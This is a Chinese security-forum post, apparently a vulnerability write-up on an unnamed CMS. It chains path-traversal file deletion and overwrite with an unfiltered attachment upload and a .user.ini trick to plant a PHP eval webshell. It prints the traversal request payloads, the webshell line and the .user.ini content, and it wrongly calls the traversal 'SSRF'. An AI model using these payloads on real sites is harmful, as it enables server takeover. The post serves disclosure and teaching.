安全矩阵

 找回密码
 立即注册
搜索
查看: 2706|回复: 0

对某cms的漏洞挖掘之旅

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-7-17 08:58:00 | 显示全部楼层 |阅读模式
​原文链接:对某cms的漏洞挖掘之旅
漏洞查找
先在gitee网站随便找个cms,然后下载下来,用Seay扫一下
这里显示说有很多地方可能有漏洞,我们从中慢慢审核,这里我找到其中一个点,Template.php。

找到位置,然后进行代码审计。代码有点多,我这里就提取重点的代码进行分析。
任意文件删除首先看Template.php文件的delete方法。

在这里可以看到文件路径是通过固定的路径+文件名去拼接而成的。
那么我们接下来来分别分析一下固定路径和文件名。
固定路径,首先有个$type==$this->viewSuffix去检查文件类型,如果符合则返回$path=$this->filepath否则返回$this->publicpath.$type.'/'。
这里直接在本地加个输出函数就可以找到具体位置了
  1. <code>html-->\application\home\view</code><code>
  2. 其他--->\public\static\home</code>
复制代码
文件名就是输入的,没对其进行过滤,而且文件名是可控的,我们就可以通过这点找到SSRF漏洞并加以利用。
对于这个方法,他会删除我们所构建的路径\文件名。
删除html文件
知道了html文件的固定路径是\application\home\view,我们就直接利用。
首先现在根目录文件下放一个目标html文件

构造payload
  1. /admin/template/delete.html?file=../../../test.html
复制代码


可以观察到目标文件被删除
删除其他文件
知道其他文件的固定路径是\public\static\home,我们就直接利用。
同样在根目录下放目标文件。
结果

构造payload
  1. <code>Payload1:/admin/template/delete.html?file=../../../../test.php</code>
  2. <code>Payload2:/admin/template/delete.html?file=../../../../test.t</code>
复制代码
结果


影响
此处漏洞的影响确实并不大,前提是需要改cms的情况下,可以对网站造成破坏,但是这里是为后面getshell打下基础。
​​
任意文件重写同样的方法,我们找到Template.php文件的update方法。

这里先判断是否存在文件,若存在,则重写该文件。
这里要注意一下,和上面一样,这里html文件和其他文件的路径是不同的,但是和上面的漏洞是一样的。
文件的路径这里就不多写了,和上面一样,自己看看就知道了。
起初我是想,通过在后面添加而已文件拿下这个cms,但是这里对其进行了过滤。

可以看到这里过滤了<>符号,所以这个利用方法的危险等级就降低了,和上面一个只能搞搞破坏而已。
在这里随便测试了过滤的字符,发现这个cms还过滤了+和\。
文件上传并getshell漏洞基础
这里先整理一下上面的内容。
首先我们找到了一个SSRF漏洞,但是他过滤了<>+\这几个特殊字符,我们想拿下这个cms得上传php文件,但是php文件得有<>啊,那怎么办。
利用.htaccess绕过,这是一个好方法,可以绕过<>被过滤的方法,但是用.htaccess绕过是将<>替换为+ADw和+AD4-。
这里就发现+被过滤了,我...。

(在挖不下去去复习,复习不下去又回来挖,终于被我找另外一个可以利用的点)
本cms表面是把所有上传的文件的<>代替了,但是他有一个地方忘记去过滤了。
就是微信管理功能模块。
在这个cms的微信管理->消息素材->单图文(这个不一定要单图文,只不过我用的是这个地方)->编辑

这种界面应该不陌生吧,我发现这里的附件上传中,后台不会对附件的内容进行过滤。
现在弄shell.txt文件
  1. <?php phpinfo();?>
复制代码


可以看到文件被上传了,里面的内容没被改变。

注:这里之所以不能直接上传php文件是因为php文件被过滤了。
单单一个非php文件当然是不行的。
回到开始的Template.php文件中,这一次利用insert方法。

这里和上面有点不一样的是他在path后面加了个/,所以我们构造的时候可以在type加上两个点用来跨越目录。
好了有了这两个漏洞点,我们就可以利用文件上传的.user.ini进行绕过。
这里我也简单说一下,.user.ini绕过,就是在当前目录下,有一个php文件(这个php文件内容不用管,可有可无),一个有木马的其他文件,和一个.user.ini文件。
我们通过.user.ini的性质,将有木马的其他文件以php文件方式执行。
利用过程
我们首先先上传一个有木马的其他文件。
这里还是叫shell.txt,文件内容如下
  1. <?php @eval($_POST[1]);?>
复制代码


文件路径为:public\uploads\ueditor\file\20210712文件名为:1626104976.txt
上传.user.ini文件
  1. type=../..&file=uploads/ueditor/file/20210712/.user.ini/&content=auto_prepend_file=1626104976.txt
复制代码



上传php文件,我这里就上传个空壳文件。
  1. type=../..&file=uploads/ueditor/file/20210712/index.php/&content=
复制代码



访问当前目录,可以看到被控制了

连接蚁剑

总结
漏洞已经上交于相关平台,在挖洞过程中主要是他对于一些特殊符号的过滤,导致挖洞难度增加,但是还是由于没对所有文件进行过滤,导致出现两个漏洞点结合然后getshell。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 08:35 , Processed in 0.016454 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表